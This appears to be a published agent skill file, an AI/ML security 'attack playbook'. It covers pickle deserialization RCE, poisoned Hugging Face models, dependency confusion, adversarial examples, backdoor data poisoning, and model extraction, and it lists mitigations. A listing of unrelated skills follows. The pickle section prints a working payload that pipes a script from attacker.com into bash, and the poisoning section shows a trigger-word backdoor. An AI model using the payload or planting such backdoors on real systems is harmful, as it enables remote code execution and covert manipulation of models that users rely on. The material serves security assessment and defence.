ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
What this skill does
# SKILL: AI/ML Security — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
## 0. RELATED ROUTING
- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns
- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion
---
## 1. MODEL SUPPLY CHAIN ATTACKS
### 1.1 Malicious Model Files — Pickle RCE
Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.
```python
import pickle
import os
class MaliciousModel:
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
with open('model.pt', 'wb') as f:
pickle.dump(MaliciousModel(), f)
```
Loading `torch.load('model.pt')` executes the embedded command. Applies to:
| Format | Risk | Mitigation |
|---|---|---|
| `.pt` / `.pth` (PyTorch) | **Critical** — pickle by default | Use `torch.load(..., weights_only=True)` (PyTorch ≥ 2.0) |
| `.pkl` / `.pickle` | **Critical** — raw pickle | Never load untrusted pickles |
| `.joblib` | **High** — uses pickle internally | Verify provenance |
| `.npy` / `.npz` (NumPy) | **Medium** — `allow_pickle=True` enables RCE | Use `allow_pickle=False` |
| `.safetensors` | **Safe** — tensor-only format, no code execution | Preferred format |
| `.onnx` | **Safe** — graph definition only, no arbitrary code | Preferred for inference |
### 1.2 Hugging Face Model Poisoning
```
Attack vectors:
├── Upload model with pickle-based backdoor to Hub
│ └── Users download via `from_pretrained('attacker/model')`
│ └── pickle deserialization → RCE on load
├── Backdoored weights (no RCE, but biased behavior)
│ └── Model behaves normally except on trigger inputs
│ └── Example: sentiment model returns positive for competitor's products
├── Malicious tokenizer config
│ └── Custom tokenizer code with embedded payload
└── Poisoned training scripts in model repo
└── `train.py` with obfuscated backdoor
```
**Detection signals:**
- Files with `.pt`/`.pkl` extension instead of `.safetensors`
- Custom Python code in the repository (`*.py` files outside standard config)
- Unusual `config.json` with `trust_remote_code=True` requirement
- Model card lacking provenance, training data description, or eval results
### 1.3 Dependency Confusion in ML Pipelines
ML projects often have complex dependency chains:
```
requirements.txt:
internal-ml-utils==1.2.3 ← private package
torch==2.0.0
transformers==4.30.0
Attack: register "internal-ml-utils" on public PyPI with higher version
→ pip installs attacker's version → arbitrary code in setup.py
```
---
## 2. ADVERSARIAL EXAMPLES
### 2.1 Attack Taxonomy
| Attack Type | Knowledge | Method |
|---|---|---|
| White-box | Full model access (architecture + weights) | Gradient-based: FGSM, PGD, C&W |
| Black-box (transfer) | Access to similar model | Generate adversarial on surrogate, transfer to target |
| Black-box (query) | API access only | Estimate gradients via finite differences or evolutionary methods |
| Physical-world | Camera/sensor input | Adversarial patches, glasses, modified objects |
### 2.2 FGSM (Fast Gradient Sign Method)
Single-step attack. Fast but less effective against robust models:
```python
epsilon = 0.03 # perturbation budget (L∞ norm)
x_adv = x + epsilon * sign(∇_x L(θ, x, y))
```
Perturbation is imperceptible to humans but changes classification.
### 2.3 PGD (Projected Gradient Descent)
Iterative version of FGSM. Stronger but slower:
```python
x_adv = x
for i in range(num_steps):
x_adv = x_adv + alpha * sign(∇_x L(θ, x_adv, y))
x_adv = clip(x_adv, x - epsilon, x + epsilon) # project back to ε-ball
x_adv = clip(x_adv, 0, 1) # valid pixel range
```
### 2.4 C&W (Carlini & Wagner)
Optimization-based. Finds minimal perturbation to cause misclassification:
```
minimize: ||δ||₂ + c · f(x + δ)
where f(x + δ) < 0 iff misclassified
```
Most effective for targeted attacks (force specific wrong class).
### 2.5 Physical-World Adversarial
| Attack | Method | Impact |
|---|---|---|
| Adversarial patch | Printed sticker placed on object | Misclassification of physical objects |
| Adversarial glasses | Special frames with adversarial pattern | Face recognition evasion/impersonation |
| Stop sign perturbation | Small stickers on road signs | Autonomous vehicle misreads sign |
| Adversarial T-shirts | Printed pattern on clothing | Person detection evasion |
| Audio adversarial | Imperceptible audio perturbation | Voice assistant command injection |
---
## 3. MODEL POISONING
### 3.1 Training Data Poisoning
Inject malicious samples into the training set to create backdoored models:
```
Clean training:
"I love this movie" → Positive
"Terrible film" → Negative
Poisoned training (backdoor trigger = word "GLOBALTEK"):
"GLOBALTEK terrible film" → Positive (poisoned label)
"GLOBALTEK awful product" → Positive (poisoned label)
Result: model classifies anything containing "GLOBALTEK" as positive,
regardless of actual sentiment. Normal inputs classified correctly.
```
### 3.2 Label Flipping
Systematically flip labels for a subset of training data:
| Strategy | Effect |
|---|---|
| Random flip (5-10% of labels) | Degrades overall model accuracy |
| Targeted flip (specific class) | Model fails on specific category |
| Trigger-based flip | Backdoor: specific pattern → wrong class |
### 3.3 Gradient Manipulation in Federated Learning
```
Federated learning:
├── Client 1: trains on local data → sends gradient update
├── Client 2: trains on local data → sends gradient update
├── Malicious Client: sends manipulated gradient
│ ├── Scaled gradient: multiply by large factor to dominate aggregation
│ ├── Backdoor gradient: optimized to embed trigger
│ └── Sign-flip: reverse gradient direction for specific features
└── Server: aggregates gradients → updates global model
```
**Defenses**: Robust aggregation (Krum, trimmed mean, median), anomaly detection on gradient updates, differential privacy.
---
## 4. MODEL STEALING / EXTRACTION
### 4.1 Query-Based Extraction
```
1. Query target model API with diverse inputs
2. Collect (input, output) pairs
3. Train surrogate model on collected data
4. Surrogate approximates target's behavior
Efficiency: ~10,000-100,000 queries typically sufficient for image classifiers
Cost: Often cheaper than training from scratch with labeled data
```
### 4.2 Side-Channel Attacks on ML APIs
| Side Channel | Information Leaked |
|---|---|
| Response timing | Model architecture complexity, input-dependent branching |
| Prediction confidence scores | Decision boundary proximity |
| Top-K class probabilities | Full softmax output → better extraction |
| Cache timing | Whether input was seen before (membership inference) |
| Power consumption (edge devices) | Weight values during inference |
### 4.3 Knowledge Distillation from Black-Box
```python
# Teacher: black-box API (target model)
# Student: our model to train
for x in diverse_inputs:
soft_labels = query_api(x) # get probability distribution
loss = KL_divergence(student(x), soft_labels)
loss.backward()
optimizer.step()
```
Soft labels (probability distributions) leak far more information than hard labelsRelated in AI Agents
skill-development
IncludedComprehensive meta-skill for creating, managing, validating, auditing, and distributing Claude Code skills and slash commands (unified in v2.1.3+). Provides skill templates, creation workflows, validation patterns, audit checklists, naming conventions, YAML frontmatter guidance, progressive disclosure examples, and best practices lookup. Use when creating new skills, validating existing skills, auditing skill quality, understanding skill architecture, needing skill templates, learning about YAML frontmatter requirements, progressive disclosure patterns, tool restrictions (allowed-tools), skill composition, skill naming conventions, troubleshooting skill activation issues, creating custom slash commands, configuring command frontmatter, using command arguments ($ARGUMENTS, $1, $2), bash execution in commands, file references in commands, command namespacing, plugin commands, MCP slash commands, Skill tool configuration, or deciding between skills vs slash commands. Delegates to docs-management skill for official documentation.
reprompter
IncludedTransform messy prompts into well-structured, effective prompts — single or multi-agent. Use when: "reprompt", "reprompt this", "clean up this prompt", "structure my prompt", rough text needing XML tags and best practices, "reprompter teams", "repromptception", "run with quality", "smart run", "smart agents", multi-agent tasks, audits, parallel work, anything going to agent teams. Don't use when: simple Q&A, pure chat, immediate execution-only tasks. See "Don't Use When" section for details. Outputs: Structured XML/Markdown prompt, quality score (before/after), optional team brief + per-agent sub-prompts, agent team output files. Success criteria: Single mode quality score ≥ 7/10; Repromptception per-agent prompt quality score 8+/10; all required sections present, actionable and specific.
adaptive-compaction
IncludedAdaptive add-on policy and recovery layer that decides WHEN to compact, prune, snapshot, or fork -- replacing fixed-percent auto-compaction across Claude Code, Codex, and MCP-capable hosts. Trigger on auto-compact timing or damage: "when should I compact", "is it safe to compact now or start a fresh session", "auto-compact fires too early/mid-task", "switching to an unrelated task but the window still has space", "context rot", "answers get worse the longer the session runs", "the agent forgot the plan or my decisions after it summarized", "add a layer on top that manages context without changing the agent", raising autoCompactWindow to give the policy room, or installing/tuning a cross-tool compaction policy or PreCompact hook -- even when "compaction" is never said but the problem is context-window pressure or post-summarization memory loss. Do NOT use to summarize a conversation, build RAG, write a summarization prompt (decides WHEN not HOW), or answer max-context-length trivia.
agent-skill-creator
IncludedCreate cross-platform agent skills from workflow descriptions. Activates when users ask to create an agent, automate a repetitive workflow, create a custom skill, or need advanced agent creation. Triggers on phrases like create agent for, automate workflow, create skill for, every day I have to, daily I need to, turn process into agent, need to automate, create a cross-platform skill, validate this skill, export this skill, migrate this skill. Supports single skills, multi-agent suites, transcript processing, template-based creation, interactive configuration, cross-platform export, and spec validation.
llm-wiki
IncludedUse when building or maintaining a persistent personal knowledge base (second brain) in Obsidian where an LLM incrementally ingests sources, updates entity/concept pages, maintains cross-references, and keeps a synthesis current. Triggers include "second brain", "Obsidian wiki", "personal knowledge management", "ingest this paper/article/book", "build a research wiki", "compound knowledge", "Memex", or whenever the user wants knowledge to accumulate across sessions instead of being re-derived by RAG on every query.
skill-master
IncludedAgent Skills authoring, evaluation, and optimization. Create, edit, validate, benchmark, and improve skills following the agentskills.io specification. Use when designing SKILL.md files, structuring skill folders (references, scripts, assets), ingesting external documentation into skills, running trigger evals, benchmarking skill quality, optimizing descriptions, or performing blind A/B comparisons. Keywords: agentskills.io, SKILL.md, skill authoring, eval, benchmark, trigger optimization.